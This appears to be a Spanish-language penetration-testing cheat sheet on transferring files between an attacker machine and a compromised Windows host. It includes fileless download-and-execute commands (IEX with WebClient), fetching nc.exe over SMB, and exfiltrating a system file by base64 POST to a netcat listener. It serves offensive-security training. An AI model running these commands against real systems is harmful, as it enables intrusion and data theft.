Transferencia de Archivos
Diferentes utilidades para las operaciones de transferencia de archivos en Windows.
Operaciones de Descarga
Codificación y decodificación PowerShell Base64
Máquina Atacante
cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==
md5sum test.txt
8ddd8be4b179a529afa5f2ffae4b9858 test.txt
Máquina Víctima (Windows)
[IO.File]::WriteAllBytes("C:\temp\test.txt", [Convert]::FromBase64String("SGVsbG8gV29ybGQhCg=="))
Confirmación de la coincidencia de hashes MD5
Get-FileHash C:\temp\test.txt -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 8DDD8BE4B179A529AFA5F2FFAE4B9858 C:\temp\test.txt
System.Net.WebClient
PowerShell ofrece muchas opciones de transferencia de archivos. En cualquier versión de PowerShell, la clase System.Net.WebClient se puede utilizar para descargar un archivo HTTP
, HTTPS
o FTP
. La siguiente tabla describe los métodos de WebClient para descargar datos de un recurso:
Método
Descripción
Devuelve los datos de un recurso sin bloquear el hilo de llamada.
Descarga datos de un recurso y devuelve una matriz de bytes.
Descarga datos de un recurso y devuelve una matriz de bytes sin bloquear el hilo de llamada.
Descarga datos de un recurso a un archivo local.
Descarga datos de un recurso a un archivo local sin bloquear el hilo de llamada.
Descarga una cadena de un recurso y devuelve una cadena.
Descarga una cadena de un recurso sin bloquear el hilo de llamada.
DowloadFile
Máquina atacante
python3 -m http.server 80
Máquina Víctima (Windows)
Sintaxis
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('http://192.168.1.19/test.txt','C:\temp\test.txt')
DownloadFileAsync
Máquina Víctima (Windows)
Sintaxis
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('http://192.168.1.19/test.txt','C:\temp\test.txt')
DownloadString
PowerShell también se puede utilizar para realizar ataques sin archivos. En lugar de descargar un script de PowerShell al disco, podemos ejecutarlo directamente en la memoria usando el cmdlet Invoke-Expression o el alias IEX
.
iex (New-Object Net.WebClient).DownloadString("http://192.168.1.19/script.ps1")
IEX
también acepta entrada de tubería.
(New-Object Net.WebClient).DownloadString("http://192.168.1.19/script.ps1") | iex
Invoke-WebRequest
A partir de PowerShell 3.0, el cmdlet Invoke-WebRequest también está disponible, pero es notablemente más lento a la hora de descargar archivos. Puedes usar los alias iwr
, curl
, y wget
en lugar del nombre completo Invoke-WebRequest
.
Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1
iex (Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1)
Invoke-WebRequest "http://192.168.1.19/script.ps1" -OutFile script.ps1 | iex
SMB
Máquina atacante
Creamos un servidor SMB con impacket-smbserver
.
impacket-smbserver share -smb2support /tmp/smbshare
copy
copy \\192.168.220.133\share\nc.exe
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y contraseña usando nuestro servidor Impacket SMB y montar el servidor SMB en nuestra máquina de destino con Windows:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Montar el recurso compartido
net use n: \\192.168.1.19\share /user:test test
FTP
Otra forma de transferir archivos es mediante FTP (Protocolo de transferencia de archivos), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.
Podemos configurar un Servidor FTP en nuestro host de ataque usando Python3 pyftpdlib
módulo. Se puede instalar con el siguiente comando:
sudo pip3 install pyftpdlib
Configurar un servidor FTP Python3
sudo python3 -m pyftpdlib --port 21 -w
Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell. Net.WebClient
.
(New-Object Net.WebClient).DownloadFile("ftp://192.168.1.19/test.txt", "C:\temp\test.txt")
Creamos un archivo de comando para el cliente FTP y descargamos el archivo de destino.
C:\temp> echo open 192.168.1.19 > ftpcommand.txt
C:\temp> echo USER anonymous >> ftpcommand.txt
C:\temp> echo binary >> ftpcommand.txt
C:\temp> echo GET file.txt >> ftpcommand.txt
C:\temp> echo bye >> ftpcommand.txt
C:\temp> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.1.19
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
Operaciones de Subida
Codificación y decodificación PowerShell Base64
Máquina Víctima (Windows)
[Convert]::ToBase64String((Get-Content -Path "C:\temp\test.txt" -Encoding byte));
SGVsbG8gV29ybGQhCg==
Máquina atacante
echo "SGVsbG8gV29ybGQhCg==" | base64 -d;echo
PowerShell Web Uploads
PowerShell no tiene una función incorporada para operaciones de carga, pero podemos usar Invoke-WebRequest
o Invoke-RestMethod
para construir nuestra función de carga. También necesitaremos un servidor web que acepte cargas, lo cual no es una opción predeterminada en la mayoría de las utilidades de servidor web comunes.
Para nuestro servidor web, podemos usar uploadserver , un módulo extendido del módulo HTTP.server de Python , que incluye una página de carga de archivos.
sudo pip3 install uploadserver
python3 -m uploadserver
Script de PowerShell para cargar un archivo al servidor de carga de Python
Invoke-FileUpload -Uri http://192.168.1.19:80/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
Otra forma de utilizar archivos codificados en PowerShell y base64 para operaciones de carga es mediante el uso Invoke-WebRequest
o Invoke-RestMethod
junto con Netcat. Usamos Netcat para escuchar en un puerto que especificamos y enviamos el archivo como petición POST
. Finalmente, copiamos la salida y usamos la función de decodificación base64 para convertir la cadena base64 en un archivo.
PS C:\temp> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\temp> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
Captamos los datos base64 con Netcat y usamos la aplicación base64 con la opción de decodificación para convertir la cadena en el archivo.
nc -lnvp 8000
listening on [any] 8000 ...
connect to [192.168.1.19] from (UNKNOWN) [192.168.1.15] 62601
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.4111
Content-Type: application/x-www-form-urlencoded
Host: 192.168.1.19:8000
Content-Length: 1140
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQoNCjEyNy4wLjAuMSBjcnlwdG9tYXRvci12YXVsdA0K
echo <base64> | base64 -d -w 0 > hosts
Última actualización